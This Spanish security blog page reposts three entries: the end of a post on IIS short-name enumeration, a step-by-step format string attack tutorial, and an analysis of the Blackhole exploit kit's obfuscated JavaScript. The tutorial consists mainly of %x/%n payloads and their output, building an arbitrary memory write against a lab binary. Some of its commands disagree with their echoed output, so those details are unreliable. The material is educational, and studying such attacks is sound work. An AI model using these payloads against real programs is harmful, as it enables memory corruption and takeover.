Solo se pueden descubrir los 6 primeros caracteres del nombre, ya que los últimos 2 serán ~1 o ~2, y luego la extensión será de 3 letras.
Figura 7: Nombre de fichero acortado descubierto
Llegados a este punto hay que "adivinar" los últimos caracteres del nombre y la extensión.
Figura 8: Nombre de fichero extendido
Para automatizar este escaneo hay una herramienta como POC llamada IIS Short Name Scanner desarrollada en Java y publicada en Google Code, pero dad por seguro que esto acabará en la FOCA.
Como gracia final, hay que decir que, en .NET las extensiones son de ASPX - 4 caracteres - mientras que el sistema 8:3 almacena los ficheros con extensión ASP, lo que hace que el error 404 sea el de IIS y no el del framework .NET. Para solucionarlo, basta con que hagas que todos los menajes de eror de .NET y de IIS estén controlados y sean iguales.

Saludos Malignos!
 
Fuentes:
 
http://www.hackplayers.com/2012/07/descubrimiento-de-nombres-cortos-en.html
http://www.elladodelmal.com/2012/07/listado-de-ficheros-en-iis-7-utilizando.html

Introducción a Format String Attack II de III

0 comentarios
Advertencia


Para realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compilador gcc, concretamente la 3.4, debido a que la última versión no respetaba los flag para evitar las protecciones de pila.

Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag -fno-stack-check.

Escribiendo direcciones de memoria


Al igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n podemos escribir directamente en ellas.
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Correcto:
BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Incorrecto:
BBBB.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.42424242
(-) Valor @ 0x08049648 = 50 0x00000032

La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su contenido:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029
El valor de la variable dependerá del número de formatos que insertemos antes de %n:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 60 0x0000003c
Gracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:
  • Escribiremos 0xde000000 en la dirección 0x08049648
  • Escribiremos 0x00ad0000 en la dirección 0x08049649
  • Escribiremos 0x0000be00 en la dirección 0x0804964a
  • Escribiremos 0x000000ef en la dirección 0x0804964b
Pero como bien sabemos, una pila se caracteríza por una estructura LIFO (Last Input First Output) por tanto, la representación interna en memoria deberá ser al revés. El primer valor de la variable deberá ser 0xef, seguido de 0xbe, 0xad, 0xde y las respectivas direcciones a ocupar serán 0x08049648, 0x08049649, 0x0804964a, 0x0804964b.

Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:
  • Primero: 0xef - [Valor de la variable] + [Valor del offset]
  • Segundo: 0xbe - 0xef
  • Tercero: 0xad - 0xbe
  • Cuarto: 0xde - 0xad
Comencemos por escribir 0xef en la dirección 0x08049648:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029
La operación 0xef - 41:
>>> 0xef - 41
198
Y de offset sumamos 1 (esto puede variar en cada equipo):
>>> 198 + 1
199
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Incorrecto:
H�.bffff6d0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef
Necesitamos otro argumento más para que el contador de byte se incremente y nos permita obtener 0xbe. Este argumento puede ser cualquiera, sólo debe cumplir la condición de tener 4 bytes y colocarse justo en la primera dirección de memoria arbitraría posterior a 0x08049648. Y como todo esto debe de ir en el format string que queremos inyectar es fácilmente controlable, así que vamos a buscar una palabra de 4 bytes como "HOLA" y escribamos nuestro format string:
"\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
Escribamos ahora 0xef en la primera dirección del búffer:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 67 0x00000043
Obtenemos como valor para la variable 67:
>>> 0xef-67
172
A la resta le sumamos el offset adecuado:
>>> 172+1
173
Y obtenemos que el valor que debemos aplicar es 173:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef
Ahora escribamos 0xbe en la segunda dirección del búffer:
>>> 0xbe - 0xef
-49
El valor -49 es negativo y no puede ser insertado en la pila, como solución podemos usar el truco del bit menos significativo y obtener así el valor correcto al restar 0x1be - 0xef:
>>> 0x1be - 0xef
207

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%205x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%207x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 414c4f48.
(-) Valor @ 0x08049648 = 114415 0x0001beef
Ahora escribamos 0xad en la tercera dirección del búffer:
>>> 0xad-0xbe
-17
Volvemos a encontrarnos con el mismo error de antes, para resolverlo, nuevamente usamos el bit menos significativo, y restamos 0x1ad-0xbe:
>>> 0x1ad-0xbe
239

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%239x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = 44941039 0x02adbeef
Por último escribamos 0xde en la cuarta dirección del búffer:
>>> 0xde-0xad
49
Como este valor sí resulta positivo, podemos inyectarlo automáticamente:
root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6a0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef
Si observamos el valor que tenía nuestra variable al principio, veremos cómo ha cambiado:
(-) Valor @ 0x08049648 = 50 0x00000032
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef
Y hasta aquí cubrimos con la entrada de hoy, para la siguiente trataré de explicar algunas técnicas como DPA(Direct Parameter Access) para acceder directamente a la posición deseada en la memoria, sobreescribir las secciones .dtors y veremos cómo todo esto puede simplificarse mediante una herramienta que se encargue de construirnos automáticamente la inyección.

Fuente: http://www.hackplayers.com/2010/12/introduccion-format-string-attack-ii-de.html

Exploit Kit - Blackhole

0 comentarios
La industria del malware se va modernizando y buscan nuevas vías para infectar a los usuarios.
En casos de malware nos encontraríamos por ejemplo con un mensaje de SPAM que contendría un enlace a una página web, que, o bien descargaría un PDF con malware aprovechando una versión vulnerable del visor PDF, o bien por ejemplo, explotaría una vulnerabilidad del navegador.
Una de las "armas" que usan los cibercriminales se trata de los Exploits kits, estos pack de exploits se compran en el "mercado negro" y contienen los exploits para poder infectar a los usuarios. Está claro que cuanto mas vale el Exploit Kit que se está pagando, mas funcionalidades e incluso con mas frecuencia se actualizarán los Exploits que contiene el kit.
¿Cual es el "modus operandi"?
A grandes rasgos existen dos maneras de infectar al usuario con un Exploit Kit. Una de esas maneras es colocar el Exploit Kit en un servidor, y realizar una campaña de SPAM, de manera que cuando el usuario legítimo reciba el correo y haga click en el enlace quede infectado por el Exploit Kit.
Evidentemente se usarán técnicas de ingeniería social para engañar al usuario e instarlo a que haga click en el enlace del correo.
Otra de las vías de infección es la de comprometer un host legítimo, y hacer que el usuario se infecte.
Será mucho más fácil que el usuario se infecte en un sitio legítimo, que no, mediante un correo de SPAM.
Vamos a centrarnos en el caso de cuando comprometen un servidor legítimo.


Tal y como muestra la imagen el usuario se conecta a la web legítima, la web carga, mediante un iframe o mediante un javascript el contenido malicioso.
Cuando se infecta el site legítimo con el exploit kit, una de las cosas que pueden hacer es NO colocarlo en el index.html o index.php, de esta manera sería muy sencillo y solo bastaría mirar el código fuente para ver el código incrustado.
Así que una de las maneras es colocar el código del exploit kit en un javascript y que la web principal lo cargue, de esta manera habiendo n javascript cargados sea un poco mas difícil saber donde está.
Si nos dirijimos a un caso práctico con un blackhole en un site legítimo, revisamos que en código fuente de la página principal no hay nada raro...
En cambio si revisamos las cabeceras nos encontramos con esto:

Al parecer la web legítima SI que carga el contenido malicioso, así que nos encontramos en un caso en el que el cibercriminal no ha colocado el código del Exploit Kit en la página principal. Revisando las peticiones que realiza de los JS, revisando cada uno de ellos, nos encontramos con esto:

Aunque nunca hayamos visto un código de exploit kit, sin duda esto nos tendría que hacer sospechar ¿No es así?
El código está ofuscado y tendremos que entender que función usa el cibercriminal para extraer la ofuscación y ver el código en claro.
Una de las opciones para entender mejor el código es verlo "ordenado". Para ello usaremos jsbeautifer
Colocamos el código en la web y nos vamos hacia lo que mas nos interesa :)


Podemos ver la función eval, que es la que se encargará de descifrar lo que no podemos ver en claro.
Ahora lo que haremos para no perder el tiempo es un pequeño truco para ver directamente el código en texto claro.
Lo que hacemos es guardar este código del blackhole en un fichero al que llamaremos malware.js
Y cambiamos una cosa del código, en la parte final donde pone

if (f)e(s);
Lo cambiaremos por:
if (f)alert(s);

Luego creamos un fichero que se llamará malware.html, en el invocamos al js que hemos creado antes.
Abrimos el fichero HTML, y nos aparecerá lo siguiente:
Ya tenemos el código en claro, de como Blackhole en este caso crea el dominio.
Espero que os haya gustado, echar un vistazo a este mundo tan interesante de los Exploits Kit

Fuente:
http://www.securitybydefault.com/2012/07/exploit-kit-blackhole.html
Powered by Bad Robot
Helped by Blackubay